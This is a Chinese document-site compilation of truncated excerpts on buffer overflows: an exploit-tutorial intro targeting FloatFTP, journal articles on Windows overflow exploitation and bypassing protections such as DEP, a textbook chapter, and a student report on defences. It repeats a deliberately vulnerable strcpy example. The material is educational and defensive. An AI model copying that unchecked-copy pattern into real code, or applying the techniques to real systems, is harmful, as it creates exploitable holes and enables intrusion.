理解缓冲区溢出漏洞的利用 在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。 在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现————整个进程,无论是独立的部分还是整体————都会一点点呈现出来。 本教程将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。 如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。 我要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在Windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而攻击远程系统。 需要的软件/设置 ?攻击系统:Backtrack Linux(我用的R3) ?开发/受害系统:Windows xp sp3英文版 ?Immunity debugger:安装在Windows xp系统上 ?FloatFTP:我们要利用的应用程序 让我们正是开始吧! Fuzzing “Fuzzing”是发送无效或畸形的、过多的和随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试手段。Fuzzing用于测试系统和程序的安全。 双击float FTP来执行开始:

Windows平台下的缓冲区溢出漏洞分析

第27卷 第2期2003年2月 信 息 技 术 I NFORMATI ON TECHNOLOGY VOL.27 NO.2 Feb.2003 Windows平台下的缓冲区溢出漏洞分析 邵 丹,唐世钢,林 枫 (哈尔滨理工大学测试技术与通信工程学院,哈尔滨150080) 摘 要:就windows平台下利用缓冲区溢出漏洞发起攻击时遇到的几个技术问题提出了一些想法和解决思路,这些问题包括:子函数返回时原缓冲区释放导致攻击代码shellcode无效问题; shellcode中跳转指令地址问题;shellcode所使用函数问题。 关键词:Windo ws;缓冲区溢出;漏洞 中图分类号:TP393.08 文献标识码:B 文章编号:1009-2552(2003)02-0017-03 The Analysis of Buffer Overflow Exploit under Windows OS Shao Dan,Tang Shigang,Lin Feng (College of Measure-control Technology&C ommunication Eng ineering,Harbin Univ.Sci.Tech,Harbin150080,China) Abstract:This article analyze some technical problems about overflow exploit under Windows OS and brings for word some ideas about how to solve them.These proble ms include:The function stack be released when func tion return;that result in the invalidation of shellcode,The proble m about jump address in shellcode,The problem about the function used in shellcode. Key words:Windows;Overflow;Exploit 1 缓冲区溢出 缓冲区溢出指的是一种系统攻击的手段。通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序: e xample1.c ------------- void function(char*str){ char buffer[16]; strcpy(buffer,str); } ------------- 上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(), gets(),scanf(),以及在循环内的getc(),fgetc(),get char()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 2 制造缓冲区溢出 一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是: 收稿日期:2002-10-15 作者简介:邵丹(1978-),男,2000年哈尔滨理工大学硕士研究生,研究方向:计算机网络安全。

缓冲区溢出

第4章 缓冲区溢出 内容提要 缓冲区溢出是一种常见的软件漏洞形式,可被用于实现远程植入、本地提权、信息泄露、拒绝服务等攻击目的,具有极大的攻击力和破坏力。学习缓冲区溢出原理和利用有助于巩固自身安全,加强系统防御。本章包含六个实验,涵盖了缓冲区溢出原理和利用两部分内容,前者包括栈溢出、整型溢出、UAF(Use After Free)类型缓冲区溢出实验,后者通过覆盖返回地址、覆盖函数指针和覆盖SHE(Structured Exception Handler)链表实验学习溢出利用技术。 本章重点 y缓冲区溢出原理及实践; y常见缓冲区溢出利用方式及实践。

·52· 网络安全实验教程 4.1 概述 缓冲区一词在软件中指的是用于存储临时数据的区域,一般是一块连续的内存区域,如char Buffer[256]语句就定义了一个256 B的缓冲区。缓冲区的容量是预先设定的,但是如果往里存入的数据大小超过了预设的区域,就会形成所谓的缓冲区溢出。例如,memcpy(Buffer, p, 1024)语句,复制的源字节数为1024 B,已经超过了之前Buffer缓冲区定义的256 B。 由于缓冲区溢出的数据紧随源缓冲区存放,必然会覆盖到相邻的数据,从而产生非预期的后果。从现象上看,溢出可能会导致: (1)应用程序异常; (2)系统服务频繁出错; (3)系统不稳定甚至崩溃。 从后果上看,溢出可能会造成: (1)以匿名身份直接获得系统最高权限; (2)从普通用户提升为管理员用户; (3)远程植入代码执行任意指令; (4)实施远程拒绝服务攻击。 产生缓冲区溢出的原因有很多,如程序员的疏忽大意,C语言等编译器不做越界检查等。学习缓冲区溢出的重点在于掌握溢出原理和溢出利用两方面的内容。 4.2 缓冲区溢出原理及利用 下面介绍缓冲区溢出原理和缓冲区溢出利用两部分内容。 4.2.1 缓冲区溢出原理 栈溢出、整型溢出和UAF(Use After Free)类型缓冲区溢出是缓冲区溢出常见的三种溢出类型,下面分别介绍它们的原理。 1.栈溢出原理 “栈”是一块连续的内存空间,用来保存程序和函数执行过程中的临时数据,这些数据包括局部变量、类、传入/传出参数、返回地址等。栈的操作遵循后入先出(Last In First Out,LIFO)的原则,包括出栈(POP指令)和入栈(PUSH指令)两种。栈的增长方向为从高地址向低地址增长,即新入栈数据存放在比栈内原有数据更低的内存地址,因此其增长方向与内存的增长方向正好相反。 有三个CPU寄存器与栈有关: (1)SP(Stack Pointer,x86指令中为ESP,x64指令中为RSP),即栈顶指针,它随着数据入栈出栈而变化;

Windows下缓冲区溢出保护机制及绕过技术

—147— 第17期 ol 2010年9月 Se Windows 下缓冲区溢出保护机制及绕过技术 马一楠1,张立和2 (1. 河南大学计算机与信息工程学院,开封 475004;2. 大连理工大学信息与通信工程学院,大连 116024) 摘 要:综述当前Windows 平台下主要的缓冲区溢出保护机制,该保护机制的绕过技术可以提高漏洞分析与利用的成功率及操作系统的安全性。介绍当前主要的缓冲区溢出保护机制的绕过技术的发展现状。针对堆栈溢出及数据执行保护(DEP)机制的突破技术,分别给出突破原理和方法。通过实验验证了DEP 突破技术的有效性。 关键词:缓冲区溢出;栈溢出;堆溢出;数据执行保护;绕过技术 Buffer Overflow Protection Mechanism and Bypass Technology Under Windows MA Yi-nan 1, ZHANG Li-he 2 (1. School of Computer and Information Engineering, Henan University, Kaifeng 475004; 2. School of Information and Communication Engineering, Dalian University of Technology, Dalian 116024) 【Abstract 】In this paper, the main buffer overflow protection mechanism is summarized under the current Windows platform, and the method and technologies about bypassing these protection mechanisms are studied, which can increase the success rate of vulnerabilities analysis and use, and guide to improve the security of the operating system. The paper describes the development of the current main technologies on bypassing the buffer overflow protection mechanisms. The principles and methods about bypassing stack overflow protection, heap overflow protection Data Execution Prevention(DEP) are all given. Effectiveness of the methods of bypassing DEP is verified through an experiment. 【Key words 】buffer overflow; stack overflow; heap overflow; Data Execution Prevention(DEP); bypass technology 计 算 机 工 程 Computer Engineering 第36卷V .36 No.17 ptember 2010 术· 文章编号:1000—3428(2010)17—0147—05 文献标识码:A 中图分类号:TP316 ·安全技1 概述 缓冲区溢出的提出已有20多年历史,然而直到1998年, 利用缓冲区溢出漏洞进行攻击才逐渐引起计算机安全人员的广泛重视。在当年CERT 的13份安全建议中,有9份与缓冲区溢出有关;次年,至少有半数的建议和缓冲区溢出有关。2003年7月公开的10大安全漏洞通告中至少有5项属于缓冲区溢出漏洞。完全避免这种漏洞造成的安全威胁是不可能的,但可以构建完善的防范体系来降低冲区溢出攻击的威胁。 面对越来越多的来自缓冲区溢出攻击的威胁,提出了检测和防止缓冲区溢出发生的自适应技术,并展示了Immunix 根据自动检测和预防技术开发的StackGuard 系统[1]。后来,Richard Jones 和Paul Kelly 对gcc 进行了完善,在技术上实现了对C 程序完全的数组边界检查,防范溢出问题。目前,分别从静态和动态2个角度来保护是防止缓冲区溢出的主要手段和方法[2]。 静态保护技术包括编译条件限制、返回地址保护、二进制改写以及代码审计等。文献[3]提到了“Using Programmer Written Compiler Extensions to Catch Security Holes ”的报告。2001年,在ICDCS 年会议上,提出了RAD [4]保护方法,采用在编译时加入对返回地址的保护机制。 动态保护技术包括虚拟路径技术、虚拟栈技术、非安全函数hook 技术以及数据执行保护技术等。文献[5]提出了采用虚拟路径方法。2001年,在IEEE 会议上,提出了基于下推自动机的虚拟栈技术[6]。非安全函数hook 技术在很多相关的检测工具中都进行了实现,如LibSafe 工具等。 对于缓冲区溢出,微软公司也逐渐加大了保护力度。Windows 操作系统自XP SP2开始加入随机化PEB(Process Environment Block)管理结构的机制、SEH(Structure Exception Handling)的保护、VEH(Vector Exception Handling)链表指针-RtlpCallOutEntryList 的保护和堆块结构Cookie 的保护等缓冲区溢出保护技术。Windows 7操作系统不仅继承了XP SP2在缓冲区溢出防护上的成果,同时针对其不足进行了改进,形成了一套较为完善的溢出保护体系。在Windows 平台下,针对缓冲区溢出保护的关键技术包括地址空间布局随机化 (Address Space Layout Randomization, ASLR)、安全结构化异常处理(Safe Structured Exception Handling, SafeSEH)[7]、GS Stack Protection 、DEP/NX(x64)等。 2 保护机制突破技术 缓冲区溢出保护机制虽然在很大程度上提高了缓冲区溢出漏洞利用的难度,在一定程度上保证了系统和软件的安全,但这些保护机制仍存在一些缺陷,采用一些方法仍能够使保护机制失效。 2.1 堆保护突破 Windows XP SP2操作系统的Lookaside 单项链表存在问题。当表中的某个节点被移出链表时,系统没有检查其Flink 作者简介:马一楠(1989-),女,本科生,主研方向:网络与信息安全;张立和,副教授、博士 收稿日期:2010-03-20 E-mail :1057396709@https://www.360docs.net/doc/736428264.html,

缓冲区溢出攻击的分析及防范策略

缓冲区溢出攻击的分析及防范策略 系别:计算机科学系 班级:网络工程 姓名:姚康平 学号:3111101157 指导教师:乐丁惕 时间:2014-11-29

目录 1、缓冲区溢出攻击简介………………………………. 2、缓冲区溢出攻击原理………………………………. 3、缓冲区溢出攻击问题………………………………. 4、缓冲区溢出攻击危害……………………………….. 5、缓冲区溢出攻击防范方法…………………………… 6、缓冲区溢出攻击相关对策………………………….. 7、参考文献……………………………………………...

一、缓冲区溢出攻击简介 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。 二、缓冲区溢出攻击原理 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序: void function(char *str) { char buffer[16]; strcpy(buffer,str); } 上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。 当然,随便往缓冲区中填东西造成它溢出一般只会出现分段错误(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。在ugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。 缓冲区溢出漏洞和攻击有很多种形式,会在第二节对他们进行描述和分类。相应地防卫手段也随者攻击方法的不同而不同,将在第四节描述,它的内容包括针对每种攻击类型的有效的防卫手段。 三、缓冲区溢出攻击问题 缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:

相关文档
最新文档